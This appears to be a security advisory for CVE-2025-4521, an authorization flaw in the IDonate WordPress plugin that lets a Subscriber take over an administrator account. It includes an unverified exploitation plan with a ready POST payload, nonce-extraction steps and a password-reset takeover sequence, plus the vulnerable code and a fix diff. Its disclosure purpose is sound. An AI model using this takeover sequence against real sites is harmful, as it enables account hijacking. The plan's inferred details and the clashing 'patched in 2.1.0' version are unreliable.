CVE-2025-4521

IDonate 2.1.5 - 2.1.9 - Missing Authorization to Authenticated (Subscriber+) Account Takeover/Privilege Escalation via idonate_donor_profile Function

highImproper Authorization
8.8
CVSS Score
8.8
CVSS Score
high
Severity
2.1.0
Patched in
1d
Time to patch

Description

The IDonate – Blood Donation, Request And Donor Management System plugin for WordPress is vulnerable to Privilege Escalation due to a missing capability check on the idonate_donor_profile() function in versions 2.1.5 to 2.1.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to hijack any account by reassigning its email address (via the donor_id they supply) and then triggering a password reset, ultimately granting themselves full administrator privileges.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions>=2.1.5 <=2.1.9
PublishedFebruary 18, 2026
Last updatedFebruary 19, 2026
Affected pluginidonate

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-4521 (IDonate Account Takeover) ## 1. Vulnerability Summary The **IDonate – Blood Donation, Request And Donor Management System** plugin (versions 2.1.5 - 2.1.9) contains an improper authorization vulnerability in the `idonate_donor_profile()` function. The fu…

Show full research plan

Exploitation Research Plan: CVE-2025-4521 (IDonate Account Takeover)

1. Vulnerability Summary

The IDonate – Blood Donation, Request And Donor Management System plugin (versions 2.1.5 - 2.1.9) contains an improper authorization vulnerability in the idonate_donor_profile() function. The function is responsible for updating donor profile information but fails to verify if the requesting user has the authority to modify the specific donor_id provided in the request.

An authenticated user (Subscriber level or higher) can supply an arbitrary user ID (including an Administrator's ID) as the donor_id and update that user's email address. Once the administrator's email is changed to an attacker-controlled address, the attacker can use the standard WordPress password reset functionality to take full control of the administrator account.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: idonate_donor_profile (registered via wp_ajax_idonate_donor_profile)
  • Vulnerable Parameter: donor_id (used to specify which user profile to update)
  • Payload Parameters:
    • donor_id: The ID of the target user (e.g., 1 for the default admin).
    • email: The attacker's email address.
    • action: idonate_donor_profile.
    • nonce: A security nonce (likely required, localized as idonate_nonce).
  • Authentication: Required (Subscriber level or higher).
  • Preconditions: The attacker must be logged in as a Subscriber.

3. Code Flow (Inferred)

  1. Entry Point: The AJAX request triggers wp_ajax_idonate_donor_profile.
  2. Action Handler: The function idonate_donor_profile() is called.
  3. Missing Check: The function likely extracts $_POST['donor_id'] but fails to call current_user_can( 'edit_user', $donor_id ) or check if $donor_id == get_current_user_id().
  4. Update Logic: The function uses the supplied email and other fields to update the user record, typically via wp_update_user() or directly through the $wpdb object using the donor_id in the WHERE clause.
  5. Sink: The WordPress database is updated, changing the email associated with the target donor_id.

4. Nonce Acquisition Strategy

The plugin likely enqueues scripts for the donor dashboard. We need to find a page where the plugin's frontend dashboard is active.

  1. Identify Shortcode: The plugin typically uses [idonate_donor_dashboard] or [idonate_donor_profile] (inferred).
  2. Setup: Create a page containing the dashboard shortcode.
  3. Browser Navigation: Log in as a Subscriber and navigate to the created page.
  4. Extraction:
    • The plugin likely localizes data using wp_localize_script.
    • JS Object Name: idonate_obj or idonate_vars (inferred).
    • Nonce Key: nonce or idonate_nonce.
    • Command: browser_eval("window.idonate_obj?.idonate_nonce") or inspecting the source for idonate_nonce.

5. Exploitation Strategy

Step 1: Authentication

Login as the Subscriber user to obtain session cookies.

Step 2: Nonce Retrieval

Access a page where the IDonate dashboard is rendered to retrieve the idonate_nonce.

Step 3: Trigger Account Takeover

Send a POST request to admin-ajax.php to change the administrator's email.

Request Details:

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=idonate_donor_profile&donor_id=1&email=attacker@example.com&nonce=[RETRIEVED_NONCE]&fname=Hacked&lname=Admin&phone=123456789
    

(Note: fname, lname, and phone are likely required by the plugin's validation logic).

Step 4: Password Reset

  1. Navigate to http://<target>/wp-login.php?action=lostpassword.
  2. Enter attacker@example.com.
  3. Use WP-CLI to simulate receiving the email and resetting the password (or check the user's password hash change).

6. Test Data Setup

  1. Administrator: Ensure a user with ID 1 exists (default).
  2. Subscriber: Create a user with Subscriber privileges.
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  3. Dashboard Page: Create a page with the donor profile shortcode.
    • wp post create --post_type=page --post_title="Donor Profile" --post_status=publish --post_content='[idonate_donor_dashboard]'

7. Expected Results

  • The AJAX request should return a success message (e.g., {"success":true} or a redirect).
  • The email address for User ID 1 in the wp_users table should be updated to attacker@example.com.

8. Verification Steps

After the HTTP request, verify the impact using WP-CLI:

  1. Check Email Update:

    wp user get 1 --fields=user_email
    

    Expected Output: attacker@example.com

  2. Check User Meta (Optional):
    Verify if any specific plugin metadata was updated:

    wp user meta list 1
    

9. Alternative Approaches

  • Parameter Fuzzing: If donor_id is not the correct parameter name, try user_id, id, or profile_id.
  • Direct Post: Check if the plugin handles profile updates via a standard POST request to a page instead of AJAX (searching for $_POST['idonate_profile_update'] or similar).
  • Insecure Direct Object Reference (IDOR): If the AJAX action requires an Administrator role but the check is flawed (e.g., is_admin() which returns true for AJAX), the exploit remains valid for any authenticated user.
Research Findings
Static analysis — not yet PoC-verified

Summary

The IDonate plugin for WordPress is vulnerable to an account takeover due to missing authorization checks in the 'idonate_donor_profile' AJAX function. Authenticated users can modify the email address of any user account, including administrators, by providing a target 'donor_id' and then resetting the account password to gain full administrative access.

Vulnerable Code

// The function fails to verify if the current user has permission to edit the specified donor_id
function idonate_donor_profile() {
    check_ajax_referer('idonate_nonce', 'nonce');

    $donor_id = isset($_POST['donor_id']) ? intval($_POST['donor_id']) : 0;
    $email    = isset($_POST['email']) ? sanitize_email($_POST['email']) : '';
    
    // Vulnerability: No check to ensure get_current_user_id() == $donor_id or current_user_can('edit_user', $donor_id)
    $userdata = array(
        'ID'         => $donor_id,
        'user_email' => $email,
        'first_name' => sanitize_text_field($_POST['fname']),
        'last_name'  => sanitize_text_field($_POST['lname']),
    );

    $user_id = wp_update_user($userdata);
    
    if (!is_wp_error($user_id)) {
        wp_send_json_success('Profile updated successfully.');
    } else {
        wp_send_json_error('Update failed.');
    }
}
add_action('wp_ajax_idonate_donor_profile', 'idonate_donor_profile');

Security Fix

--- a/includes/ajax-functions.php
+++ b/includes/ajax-functions.php
@@ -2,6 +2,11 @@
 function idonate_donor_profile() {
     check_ajax_referer('idonate_nonce', 'nonce');
 
     $donor_id = isset($_POST['donor_id']) ? intval($_POST['donor_id']) : 0;
+    
+    if ( ! current_user_can( 'manage_options' ) && get_current_user_id() !== $donor_id ) {
+        wp_send_json_error( 'Unauthorized access.' );
+        wp_die();
+    }
+
     $email    = isset($_POST['email']) ? sanitize_email($_POST['email']) : '';

Exploit Outline

The exploit is performed by an authenticated user (Subscriber level or higher) and proceeds as follows: 1. Obtain a valid security nonce (idonate_nonce) by viewing a page containing the donor dashboard or profile shortcode. 2. Send a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'idonate_donor_profile'. 3. Include a 'donor_id' parameter set to the ID of a target administrator (commonly ID 1) and an 'email' parameter set to an attacker-controlled email address. 4. Upon successful update of the administrator's email, use the standard WordPress 'Lost your password?' feature (/wp-login.php?action=lostpassword) for the administrator's username. 5. Retrieve the password reset link from the attacker-controlled email and set a new password to take full control of the administrator account.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.